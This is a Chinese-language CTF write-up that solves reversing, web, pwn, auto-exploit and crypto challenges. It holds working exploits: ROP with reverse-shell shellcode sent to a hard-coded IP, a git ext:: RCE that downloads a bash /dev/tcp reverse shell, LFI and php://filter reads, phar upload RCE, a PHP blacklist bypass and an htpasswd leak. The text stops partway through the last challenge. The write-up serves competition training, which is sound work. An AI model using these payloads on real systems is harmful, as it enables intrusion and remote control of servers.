<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>,<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>]<[[<]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>]<-]<[<]><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-[[>>>>>>[>>>]++[-<<<]<<<-]>]>>>[<]>[[>[>-<-]>[<<<<<<+>>>>>>[-]]>]+[<[<<<++>>>-]<<]>>]<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>]<[[<]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[>]<-]<[<]><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]>[-]><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-[[>>>>>>[>>>]++[-<<<]<<<-]>]>>>[<]>[[>[>-<-]>[<<<<<<+>>>>>>[-]]>]+[<[<<<++>>>-]<<]>>]<<<<<>>[<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>-]<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++..---------------------------------------------------------------------------------------------.<]

( 這裡省略掉最後的 65535 個 < )

透過 interpreter 執行後會輸出 gg

稍微分析一下會發現在程式會在 memory 上寫入一些值
中斷在讀取輸入前,可以從 memory 中發現兩組長度一樣的 data

猜測是將輸入與其中一組做運算之後與另一組比對:

0030:  6B  44  57  7E  63  48  66  64  40  60  21  7C  kDW~cHfd@`!|
003C:  50  35  38  5C  27  67  5D  7C  49  3F  24  65  P58\'g]|I?$e
0048:  37  78  23  20  34  38  39  5E  00  00  00  00  7x#.489^....

0060:  16  77  60  4D  0F  38  0B  54  23  3F  46  12  .w`M.8.T#?F.
006C:  61  47  4D  6B  78  14  6C  23  27  53  51  13  aGMkx.l#'SQ.
0078:  68  4F  4E  46  4F  7E  6D  1D  00  00  00  00  hONFO~m.....

xor 後就得到 Flag 了

#!/usr/bin/env python
# -*- coding: utf-8 -*-

a = "6B44577E634866644060217C5035385C27675D7C493F2465377823203438395E".decode('hex')
b = "1677604D0F380B54233F461261474D6B78146C2327535113684F4E464F7E6D1D".decode('hex')
print "".join(chr(ord(a) ^ ord(b)) for a,b in zip(a, b))[::-1]

Flag: CTF{fm7_vuln_1s_7ur1ng_c0mpl373}


😇 Web / Pwnable 150 + 400 - Dream

Do you have dream ?
[BGM] https://www.youtube.com/watch?v=5fxPY4hi-P4
http://ctf.pwnable.tw:1412

是個 cgi ,首先當然先想辦法得到 binary,掃了一下目錄發現存在 http://ctf.pwnable.tw:1412/.svn

透過工具抓下網站內容: https://github.com/kost/dvcs-ripper

grep CTF -r 得到 Web 部份的 Flag: CTF{Dont_forget_subversion_in_your_dream}

接著分析 dream.cgi:

void get_dream()
{
  char *s; // ST0C_4@1

  s = malloc(4096u);
  sscanf(query, "dream=%[^&]", s);
  dream = url_decode(s);
}

void take_off(char *dream, char *s)
{
  int v2; // ST14_4@1
  size_t v3; // [sp+0h] [bp-8h]@1

  v2 = rand() % 13371337;
  setenv("DREAM", dream, 1);
  v3 = strlen(dream);
  if ( v2 % 4869 )
    sprintf(s, "{\"length\":%u,\"Come_True\":true,\"dream\":\"%s\"}", v3, dream);
  else
    sprintf(s, "{\"length\":%u,\"Come_True\":false,\"dream\":\"%s\"}", v3, dream);
}

int main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [sp+0h] [bp-64h]@1

  init_proc();
  header();
  get_dream();
  sleep(1u);
  take_off(dream, s);
  printf("%s", s);
  return 0;
}

可以很快的發現 take_off 中有個單純的 bof,能夠覆蓋 main 的 return address

利用方式是先做 ROP 呼叫 get_dream() ,讓 eax 指向我們的 QUERY_STRING
再 jmp 到 eax+100 上的 shellcode 來得到反連 shell:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

jmp_eax = "%67%8b%04%08"    # 0x08048b67
get_dream = "%67%88%04%08"  # 0x8048867

asm_add_eax_100_jmp_eax = "%83%c0%64%ff%e0"

sc = asm(shellcraft.i386.linux.connect("140.113.209.23", 1234) + 
        shellcraft.i386.linux.dup2(3, 0) + 
        shellcraft.i386.linux.dup2(3, 1) + 
        shellcraft.i386.execve('/bin/sh'))

sc = "".join("%%%02x" % ord(c) for c in sc)
#print sc

QUERY_STRING=(
        "dream=" + 
        asm_add_eax_100_jmp_eax.ljust(74, "A") + 
        get_dream + 
        jmp_eax + "%90" * 30 + sc
        )

#print QUERY_STRING
r = listen(1234)

log.info("Press Ctrl+C after shellcode connected back to get a shell")
os.system("curl http://ctf.pwnable.tw:1412/cgi-bin/dream.cgi?" + QUERY_STRING)

r.interactive()

得到 shell 之後找到 seteuid 的 binary /home/dream/get_flag,還有 source code:

#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>

int main(){

    setvbuf(stdout,0,2,0);
    char buf[100];
    char input[16];
    unsigned int password;
    int fd ;
    FILE *fp = NULL ;
    srand(time(NULL));
    fd = open("/dev/urandom",0);
    read(fd,&password,4);
    close(fd);
    printf("What your name ? ");
    read(0,buf,99);
    printf("Hello ,");
    printf(buf);
    printf("Your password :");
    read(0,input,15);
    if(atoi(input) != password){
        puts("Goodbyte");
    }else{
        puts("Congrt!!");
        fp = fopen("./f14gggggggg","r");
        if(!fp){
            puts("Failed");
            exit(0);
        }
        fread(buf,1,80,fp);
        printf("Here is your flag : %s\n",buf);
    }
}

輸入 %6$d 就能透過 format string bug leak 出 password 讀取 flag

Flag: CTF{Y0ur_dr34m_is_so_b34ut1ul}


🤖 AEG 200 - AlphaPuzzle 💮

Decode base64 encoded ELF binary from the server.
And finish puzzles three times to capture the flag.
nc 133.130.124.59 9991
[Don't waste your time on this] https://www.youtube.com/watch?v=uuMNmHdr0Lg
Hint:
aHR0cHM6Ly91cmwuZml0L1hmVE9U
just_pepe_puzzle.jpg

首先,hint 一點屁用都沒有

測試後會發現 server 每一次回傳的 ELF 都不一樣
執行 binary 後總共會讀取 9 次的輸入,每次輸入 0 ~ 6 中的 2 個數字,必須符合條件,總共需要通過 3 個 binary 的 check

直接用 angr 跑

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import angr

r = remote("133.130.124.59", 9991)
r.recvuntil("base64\n")

def aeg():
    elf = r.recvuntil("\n\n").decode('base64')
    write("elf.out", elf)
    log.info("elf dumped")

    # load elf
    p = angr.Project("./elf.out", load_options={"auto_load_libs": False})

    # find target address
    cfg = p.analyses.CFG()
    target = cfg.kb.functions.function(name="catflag").addr
    log.info("target=%x" % target)

    # constraint
    st = p.factory.entry_state()
    st.posix.files[0].seek(0)
    st.posix.files[0].length = 3 * 9

    # explore
    pg = p.factory.path_group(st, immutable=False, threads=4, veritesting=True)
    pg.explore(find=target)

    if not pg.found:
        log.error("Failed")

    fs = pg.found[0].state
    ans = fs.posix.dumps(0).split("\n")[:-1]    # stdin
    pprint(ans)

    for a in ans:
        log.info(r.recvline())
        r.sendline(a)

    log.info(r.recvline())

for i in range(3):
    aeg()

Flag: CTF{5YW25a+m5pq05Yqb6Kej5aW95YOP5Lmf6Kej55qE5Ye65L6G}


🤖 AEG 300 - oo 👉👌

Try to decode base64 encoded elf from server.
Let's oo together.
nc 133.130.124.59 9992

一樣每次回傳的 binary 都不同,程式內部會產生一堆數字,並問你是多少
直接用 objdump 爬出來回傳即可:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from commands import getoutput

r = remote("133.130.124.59", 9992)

r.recvuntil("base64\n")

def aeg():
    elf = r.recvuntil("\n\n").decode('base64')
    open("elf.out", "wb").write(elf)
    log.info("dumped")

    l = getoutput("objdump -M intel -d ./elf.out | grep 'DWORD PTR \[rip' | awk '{print $12}'")

    ans = [int(i.split(",")[1],16) for i in l.split("\n")]
    return ans


ans = aeg()
r.recvuntil("Guess O\n")
for a in ans:
    r.sendline(str(a))

log.info(r.recvline())
log.info(r.recvline())
log.info(r.recvline())

r.sendline("cat /opt/oo/flag")
r.interactive()

Flag: CTF{o_oo_ooo_th1s_1s_how_simple_acg_look_like}


🤖 AEG 400 - sushi 🍣

Try to decode base64 encoded elf from server.
And make a delicious sushi.
nc 133.130.124.59 9993

一樣每次回傳的 binary 都不同,程式會產生一串字串。然後挑兩個 byte 問你總合是多少,答對 20次就可以寫入 100 bytes 到程式中,並觸發一個 gets() 的 bof

偷懶直接用 angr dump 字串
最後寫入 shellcode 並覆蓋 return address,需要注意的是 bof 的 buffer size 每次都不同:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import angr
from commands import getoutput

r = remote("133.130.124.59", 9993)

r.recvuntil("base64\n")

def aeg():
    elf = r.recvuntil("\n\n").decode('base64')
    open("elf.out", "wb").write(elf)
    log.info("dumped")

    p = angr.Project("./elf.out", load_options={"auto_load_libs": False})
    st = p.factory.entry_state()
    pg = p.factory.path_group(st, immutable=False, threads=4, veritesting=True)

    pg.explore(find=0x4007B6)   # same address for every elf

    if not pg.found:
        log.error("failed")

    fs = pg.found[0].state

    # read shushi
    table =  fs.se.any_str(fs.memory.load(0x6012c0, 100)) # mem
    shushi = [ord(i) for i in table]
    #print shushi

    r.recvuntil("Guess what sushi looks like now!\n")

    for _ in range(20):
        s = r.recvline().split()
        i = int(s[-3])
        j = int(s[-1])

        log.info("i=%d,j=%d" % (i,j))
        si, sj = shushi[i], shushi[j]

        # it's signed add
        if si & 0x80:
            si -= 0x100
        if sj & 0x80:
            sj -= 0x100

        ans = si + sj
        log.info("sum=%d" % ans)
        r.send(str(ans).ljust(4))  # buf is 4... wtf

    r.recvline()
    r.sendline("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05".ljust(99,"\x90"))

    stack_size = int(getoutput("objdump -M intel -d ./elf.out | grep 4007bb").split(",")[-1],16)
    log.info("stack_size=%d", stack_size)
    r.sendline("A" * stack_size + p64(0x6012c0))

aeg()
r.sendline("cat /opt/sushi/flag") # why the flag is here...
r.interactive()

Flag: CTF{1ife_1s_1ike_such1_as_known_as_sh1t}


🐟 Web 100 - Admin Panel

http://54.199.166.146/f31c286df3608f5b71ea528d7220974957bfb14d/

header("Location: ban.php"); 之後沒結束

curl http://54.199.166.146/f31c286df3608f5b71ea528d7220974957bfb14d/panel.php

Flag: CTF{Admin's_pane1_1s_0n_F1r3!?!?!}


🐟 Web 200 - Hello

http://54.199.166.146/258c634761ca928154687da257f68c5347ad68c3/

http://54.199.166.146/258c634761ca928154687da257f68c5347ad68c3/?source= 得到 source code:

<?php
    $DEBUG = false;
    error_reporting(0);

    if ($DEBUG)
    {
        error_reporting(E_ALL);
        ini_set('display_errors', 'On');
    }

    register_shutdown_function("functionNotFound");
    function functionNotFound()
    {
        $last_error = error_get_last();
        if ($last_error['type'] === E_ERROR)
            echo "Function not found!";
    }

    // utils
    $blacklist = array("system", "passthru", "exec", "read", "open", "eval", "backtick", "flag", "php", "`", "_");
    function contains($s,$a)
    {
        foreach ($a as $value)
        {
            if (stristr($s,$value))
            {
                return 1;
            }
        }
        return 0;
    }

    // user define functions
    function hello($name)
    {
        echo "Hello $name! I put something interesting in flag.php.</br></br>";
    }

    function source()
    {
        highlight_file(__FILE__);
        exit();
    }


    if(count($_GET) > 0)
    {
        if(contains($_SERVER['REQUEST_URI'],$blacklist))
        {
            die("Hacker detected!!");
        }

        list($key, $val) = each($_GET);

        if (strlen($key) > 6)
        {
            die("Function name is too long! Hacker detected!!");
        }

        $key($val);
    }
?>

<form>
What's your name? I have something to tell you. <br/>
<input type="text" name="hello">
<button type="submit" value="Submit">Submit</button>
</form>

<!--
function hello($name) { ... }
function source() { ... }
-->

http://54.199.166.146/258c634761ca928154687da257f68c5347ad68c3/?assert=highlight%5Ffile("%66lag.%70hp")
繞過黑名單

Flag: CTF{bypass_php_filter_is_so_fuN!}


🐟 Web 200 - Snoopy's flag

http://54.199.166.146/699e46f901f0533e28b21b4a13e27e2f7b9092a2/

Local File Inclusion:
curl http://54.199.166.146/699e46f901f0533e28b21b4a13e27e2f7b9092a2/image.php?p=../admin/.htaccess

AuthType Basic
AuthName "Password Protected Area"
AuthUserFile /var/www/web3/admin/.htpasswd_which_you_should_not_know
Require valid-user
Options +Indexes

curl "http://54.199.166.146/699e46f901f0533e28b21b4a13e27e2f7b9092a2/image.php?p=../admin/.htpasswd_which_you_should_not_know"

secret_admin:K7WeKYm8O5MQI

john 破出明文密碼: !@#$%^&* (secret_admin)

登入 http://54.199.166.146/699e46f901f0533e28b21b4a13e27e2f7b9092a2/admin 得到 Flag

Flag: CTF{apache_config_file_is_sensitive}


🐟 Web 300 - Snoopy's Pics

http://54.199.198.25/1e73b9bac0d4e522b0557fad209de3f9a8197bc4/

Local File Inclusion
curl http://54.199.198.25/1e73b9bac0d4e522b0557fad209de3f9a8197bc4/?p=php://filter/convert.base64-encode/resource=index

<?php

$FROM_INCLUDE = true;

$pages = array(
    // disabled
    // "upload_snoopy" => "Uploads",
    "about" => "About"
);

if (isset($_GET["p"]))
    $p = $_GET["p"];
else
    $p = "home";

if(strlen($p) > 100)
{
    die("parameter is too long");
}

?>

<!DOCTYPE html>
<html lang="en">
<?php
include "header.php";
include $p . ".php";
?>
</body>
</html>

發現存在 upload_snoopy.php ,一個圖片上傳介面
http://54.199.198.25/1e73b9bac0d4e522b0557fad209de3f9a8197bc4/?p=upload_snoopy

看一下 source code:
curl http://54.199.198.25/1e73b9bac0d4e522b0557fad209de3f9a8197bc4/?p=php://filter/convert.base64-encode/resource=upload_snoopy

<?php
if (! $FROM_INCLUDE)
    exit('not allow direct access');

function RandomString()
{
    $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $randstring = "";
    for ($i = 0; $i < 9; $i++) {
        $randstring .= $characters[rand(0, strlen($characters)-1)];
    }
    return $randstring;
}

$target_dir = "images/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 0;
$imageFileType = pathinfo($target_file, PATHINFO_EXTENSION);
$fsize = $_FILES['fileToUpload']['size'];
$newid = RandomString();
$newname = $newid . ".jpg";

if(isset($_FILES["fileToUpload"])) {
    if($imageFileType == "jpg")
    {
        $uploadOk = 1;
    }
    else
    {
        echo "<center><p>Sorry,we only accept jpg file</p></center>";
        $uploadOk = 0;
    }

    if(!($fsize >= 0 && $fsize <= 200000))
    {
        $uploadOk = 0;
        echo "<center><p>Sorry, the size too large.</p></center>";
    }
}

if($uploadOk)
{
    $newpath = $target_dir . $newname;

    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $newpath))
    {
        header('Location: ./images/' . $newid.'.jpg');
        exit();
    }
    else
    {
        echo "<center><p>Sorry, there was an error in uploading your file.</p></center>";
    }
}
?>

<!-- Page Content -->
<div class="container">
    <!-- Marketing Icons Section -->
    <div class="row">
        <form method="POST" enctype="multipart/form-data">
            <div class="form-group">
                <label class="control-label">Select a good Snoopy picture (JPG only)</label>
                <input id="input-1" name="fileToUpload" type="file" class="file">
            </div>
        </form>
    </div>
    <script>
    // initialize with defaults
    $("#input-1").fileinput();

    // with plugin options
    $("#input-1").fileinput({'showUpload':false, 'previewFileType':'any'});
    </script>
</div>

upload 只檢查檔名結尾是 .jpg,可上傳 phar 並透過 include phar wrapper 實現 RCE

shell.php 打包成 zip,重命名為 shell.jpg 後上傳

http://54.199.198.25/1e73b9bac0d4e522b0557fad209de3f9a8197bc4/?p=phar://./images/MOVB3TIuh.jpg/shell&c=cat%20/flag

Flag: CTF{finally_got_RCE_but_do_you_have_enough_sleep?}


🍊 Web 300 - GIT

Do you really know GIT :P
Please HACK http://133.130.122.214/

<?php
    /* -----------------------------
        Do you really know git :P
                           - Orange
       ----------------------------- */

    highlight_file(__FILE__);

    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);

    $cmd = $_GET['cmd'];
    $url = $_GET['url'];

    if ($cmd == 'clean') {
        system("rm -rf .git");
//    } else if ($cmd == 'log') {
//        system("git log");
//    } else if ($cmd == 'diff') {
//        system("git diff");
//    } else if ($cmd == 'init') {
//        system("git init");
    } else if ($cmd == 'clone') {
        $url = escapeshellarg($url);
        $url = str_replace('-', '', $url);
        system("git clone " . $url);
    } else {
        die('what do you do?');
   } 

CVE-2015-7545

cmd.txt:
bash -i > /dev/tcp/106.186.20.187/1234 0<&1 2>&1

http://133.130.122.214/?cmd=clone&url=ext::wget l4ys.tw/cmd.txt
http://133.130.122.214/?cmd=clone&url=ext::bash cmd.txt.1

Ref: https://git-scm.com/docs/git-remote-ext
Flag: CTF{Bug_bounty_really_learnable!!!Come and join us!!!}


🔓 Crypto 100 - Simple

nc csie.ctf.tw 10180

AES-OFB
給 FLAG 透過 Secret IV 以及 Secret Key 加密的結果,以及數個用相同方式加密的結果。我們已知 Plaintextstring.letters + string.digits 。因為 AES-OFB 的串結,所以 Ciphertext = Plaintext ^ AES(KEY, IV) ,也就是我們可以透過猜測 AES(KEY, IV) 的結果,並用數個相同方式加密的結果來驗證猜想的正確性。然後因為每次加密的字串來源相同,所以可以透過多次測試,來將結果侷限在其中一組上。

#!/usr/bin/env python

import sys, os
import random
import string
import time
from Crypto.Cipher import AES
from base64 import *


block_size = 16

some_text = '''7jl5Clyfkcx+ItBhK2t87N4sJ28U7ho7GNZPHp797Pk=
mWsVJWaDupZDBuFoMGdN7tw4L2s8xWhiDuhZBpmly8w=
zlBKOF24tMdZAMdpB3ND8t88cm0V42hiO8xJaJOFytI=
53FpOUOGiM93JcFvE2g869VodFQzyRQ6N8NkIob42rI=
2UZHO3X7hOYMGsV+Gk9P+cUUDmMO4T5kWaNJYaGC47I=
zjsZJVOmkMR5NupJAVM/6uQTEmUkyBs7GfVoK7G+w+Q=
4DhFNkOi85IGBMUNO3ZP5tUFdGAO7Q4+GPk1B7GMx8g=
2mAcEFWsiNZuBuJQMXlZr/5uJm9Un28nDahYIoG4u+M=
009VGVuD+9tiZstUDkNh88wFMXBSwSQcGNRsF4Gq2bI=
2E5DKF+Ekc17IepgMUNx+7MyNFcy5RQAJ6lkH6e538Y=
wUxvH0mBh+RxBfRaNjQ9+9RpAFAnxhoUHfpSC6qmzbk=
7GlhbV6m8pZWO/R3FjBx7+ILJ0UE7TYdGM91adOet8Y=
8mVJL3eMtPZXAvNBOmVT57IZIFUNyRYXVuxMZ7Os48w=
nkR1MUaWuPsHEZ13cEVB+NUKJjcA+xkkO+luO4qA7dQ=
zlhENET7+9d2M5F2DFhs8bQXLHQB+h4LAfBxGJGb/fE=
zXF9GXKFrcJZFu4PD0RJ6cwpeV8IwB4gO981Jqyj/7k=
2Gp4aQGFtvUAaux6CmlRqPEvEUYq2xljPPRmOKmB+u8=
/UJLMkT3jNRgHcx+JmB6zdUqDUNR2g07OslTEtun4cQ=
zj9VEUKWge9mZONee3tGzOwIMFcN6W1hGN56HJyP9eU=
mmRYGmmppeIAIJxUAEx+5tQ6OGoK8DkbHu9qNImcyuw=
7UNbMEWdj5lZa9FMdlt58MEWMkpU/zM5NdpEOo7+ubE=
x0tlGEX9itRVFuJKC2Vb6cQ0G3Ag2xEAOu5CPp2c/NM=
3npEEwP6h80EI+ZMC0JsqPIEBTMn/T08JMwyK5+au9Y=
5TBvDHeXtPRhG8FoK2hyq+43Lz4oxCokO6poHIOg5Ps=
klh8KHv2hM5xM9VoKVtN2fcqE29R3w86H+xXE9z5weQ=
'''

texts = some_text.split()
FLAG = '6VxqJhTur8gFZtZndG5U6u5uHm9V6mw8XOxAI4D+sPw='


#IV = 'a' * 16
IV = ''
texts = [IV + b64decode(s) for s in texts]

FLAG = IV + b64decode(FLAG)
flag = ''

#texts.append(FLAG)

plaintext = [''] * len(texts)
for i in xrange(len(IV), 32 + len(IV)):
	for k in xrange(256):
		con = True
		for text in texts:
			tar = ord(text[i]) ^ k
			if chr(tar) not in string.letters + string.digits:
				con = False
				break

		if con:
			for x in xrange(len(texts)):
				plaintext[x] += chr(k ^ ord(texts[x][i]))
			flag += chr(k ^ ord(FLAG[i]))

for s in plaintext:
	print s

print string.letters + string.digits
print flag
print ''.join([c for c in flag if c in string.letters + string.digits])

Flag: CTF{$!mi14r_7o_th3_h3@0m3w@rk5?}


🔓 Crypto 200 - RSA

同一組明文透過不同密鑰加密,可透過 Hastad's Broadcast Attack 解出
從 output 取出 e=7nc ,用 CRT 算出 Flag:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import gmpy

data = [{"n": 88915379777904220480592965231356288056731383962858378813795992867325415494232591101369475346005319526467392759168718676817426236490049372700046953192242554849669083680644269807020713343649693493391967704982398710494816670896969853530390409751004044500179983368339771742667306000453312700864988959043510405757844065684630163017301645228843333095653510881118262362873430270092297097520114637905111719730735393337490859403819803866582550676871351609053866045219052425492955032713610577632707036033362957006618381769590533733351146385104861858114490180355083406077980747627293257655435678804509990810760526889137878205587, "e": 7 ,"c": 33547004061102933765282913425404261682238327617521894423858042865935039767875675735512344723213603573887370473383693327563182319798984035994305101686839405854379012054563399473920378199258727455889100240775458765741591285834899571449641363862656172916058027923879828042179863345070226311290655400141947947077690079794445176134575297310405553196629094734342974101672001182839224548502918599346959061769370335219922003654624018222027658644656892257011562533056026347569886327198025301011781604334991530103244042918463528464195368513652958397583022079775025392306142757745220532922312147367089660743115963881951574390262},
{"n": 85937464834800440448779023483739705743537323986754525659171871858240147041569199865953053169478535993937225638362618068221300356308766381119980731903946196065980001660073172673803494616091263758904883730021398576375079808746326215740545415080710072793495247556868493661250598926986840339347929980665621131801861595219576239833573354164766697206670012421174002288583434197100677231770293635204060820570183428510363701508701159462299177870973708728822458568445338303275703746612609015298809130228012991654201519449008112224483594406117972259479473745702807289893719590497760090322584221980780225213891739876489083585757, "e": 7 ,"c": 48724332165995913977844906117462828935947440967477497532869304734595570809501780844474104204542070189595326149962631358840524405967630599424740127470047487809579688578439652891833857650069010469429281754988660601841048262206670010832293470413006066884666044871592149572826717231689874638175952285300678859957450045905563820292937930059940187095877407685747960745981120708262009261701257435482095335328558022086934884737516294416591076275810839606228010378127829469827002961345035432166638140158469081464567169557045581938190437636125430362289266619713266770139710693685316760826737106955358629832940545756799957927913},
{"n": 75161724624400680907344700366549962017585202517439688851108081386105811051501830342282922943512575434556882722635542694410146690660952844097279579396363925446192922960147531113032247663225473961541063426582774484535746061173779281358329491616170358789910335815704625511033752324457439099336888113779884363177850701040316726766755677133072225769203425981920980068994522696437466634233261921408363221074175645538995085332595443358694280430108910403248225085389002326566476180404432263432804686406458659495121577254207680509705087551038661699432196760794858878274901588872786596437228396471774316441000729164846333506349, "e": 7 ,"c": 14169696545155822854937121913690858330271879875429917393512474698712174853322892075416792477196566749335257219142515453979929137860730968008611876889689315548596033486906819369177005114678765753306705546619958080967233534254074452905340283916248965272883713887670761194331607292243702599486481458106213274235078890289193989624803810853255653594169664624777348754298483104800886158711854828283841946903156505099294704768117151598058923523722241419194785356282943539017745496108482813263236945797269621840229814455199209879675309163607787334958891577595055762246343698558006863383466375502189420931418995279794373204392},
{"n": 56868680688293676260355321083353789041475537734140633595933408997481186428795132040058374272112962910716673671774791927020035988017815500220112790364993030075059278171385947320096371629762708132941386013457467895072260231487325099497685051971295226767255428231166258001590038896723386065662613815270219738371363502766131292786008840470804378262352466288291034165588603196904548910977778174316040750498579826800379527767985738266939663213127824534919553009306515829389444733216483560488349518542496071176782491828899709634085763574740737021875781704682829448918310070084057529258510447229555167481960724140757065036309, "e": 7 ,"c": 30573593511274586668680008169544388348952539044195095064077371904950788268808608391546586239197858470340677680364766128749981978852224537209742040798235704872691831557181874380739110783143115886266025871415777294027382295376514950396090912418221289825644942264463688252497003324495130475628343195716889755657330236877541425962074234149154681497766757510150932321808371306144519202710420754428459486241697628938802817159497599329405164687942898723546996742642523574815461061288050393227621910177000979254697997102507413052245594212935297283659391374567068538158948770160683494396513269663739504321365684236328624149609},
{"n": 37392447517109699553636556010863604779108808239388722535340023098488823146374574992491330173077852622116290569997698398921962019283612903618009862978006891771549890711372643769395130442649590352873541827956615659259041830323057369845378603040036154195791520471589669668917488063638235537912397288458368005164503171736792713458686424680362671784040410720431683952308722160541058777957271912609712459986460518023444540959447153980907163818627865405453106531279729113474798405762228457912323106800035537075619649448205967933428622266811803268517529113715660280567348441379437468247703255175737588572324107352306236369699, "e": 7 ,"c": 16209867591439871945542708911739363213137977561683807924481552819254149586073163507600264139376732145827194237508721477793480892343294998552096558791633032408078671338632943848399424060090611611772262129620193292824659774289663416494215610818812225205349287924402521373636649273093388021509357532971835568870675990050738530902209937727031875011220451343825857393861920162967931988526813185393237294722851861854593395259219985097104736118638215994702979377415518500301295962475060594553713316449477373653410478332114538699565821995916539529777274176659127165906972265353886751281292703760467171448150656307998879687123},
{"n": 65256754988080624321862819578014507876138516586800580513722514108031954035036369498995388924880564699545393660624499461324475337600233716922682659842984105806653553786920890167020843565913411033147940820663991091844817976617875089892681435328012008786127071246362776071362465097046927729984768350661190732989058733520839596558866150738181740630160271432828557581044199123917927862385544043660381827088277186730068496617148727509329771193863819965757216964552060870635204781025902152779923625149008026646087219214146142946816045807520207277149929487889636997513072801036893962425841227848551603626041753808095499587793, "e": 7 ,"c": 64286727682038726271460372383486562553704796492251542657272001470138707011450298098588894535168038037539524830328862293663092122512572021743693373333759810379012654685705623832044790535293465989964785627496636803320610338072425649724483971437091746934774219397637431433686759745790854215361269448095099918944309171224217213232151738242764377671573182687827217075273462040202069778283277975276391585716580423068347987039124606587371220380541449451798110489319629608165271477160680832772870788327442270722824789499884307465784845917895815368881662534085424334496399878812702246036478758806729871104846231820028678611425},
]

e = 7
data = [(int(k["c"]), int(k["n"])) for k in data]

def extended_gcd(a, b):
    x,y = 0, 1
    lastx, lasty = 1, 0

    while b:
        a, (q, b) = b, divmod(a,b)
        x, lastx = lastx-q*x, x
        y, lasty = lasty-q*y, y

    return (lastx, lasty, a)

def chinese_remainder_theorem(items):
    N = 1
    for a, n in items:
        N *= n

    result = 0
    for a, n in items:
        m = N/n
        r, s, d = extended_gcd(n, m)
        if d != 1:
            raise "Input not pairwise co-prime"
        result += a*s*m

    return result % N, N

x, n = chinese_remainder_theorem(data)

realnum = gmpy.mpz(x).root(7)[0].digits()
print format(int(realnum), 'x').decode('hex')

Flag: CTF{C1ll4s$!c_c0o0omm0n_m0du1u$55_a7t@ck!!!#>_<}


🔓 Crypto 200 - Can't see

透過 Wireshark 可以 dump 出 server 的 SSL 憑證,憑證中內含他加密用的公鑰

Subject Public Key Info: 
Public Key Algorithm: rsaEncryption Public-Key: (1024 bit) 
Modulus: 
	00:b5:d8:21:69:ab:56:57:d6:e4:9c:cf:a7:1b:ac: 
	3d:b6:b7:d4:58:c8:b0:6d:3b:22:48:8d:70:e5:32: 
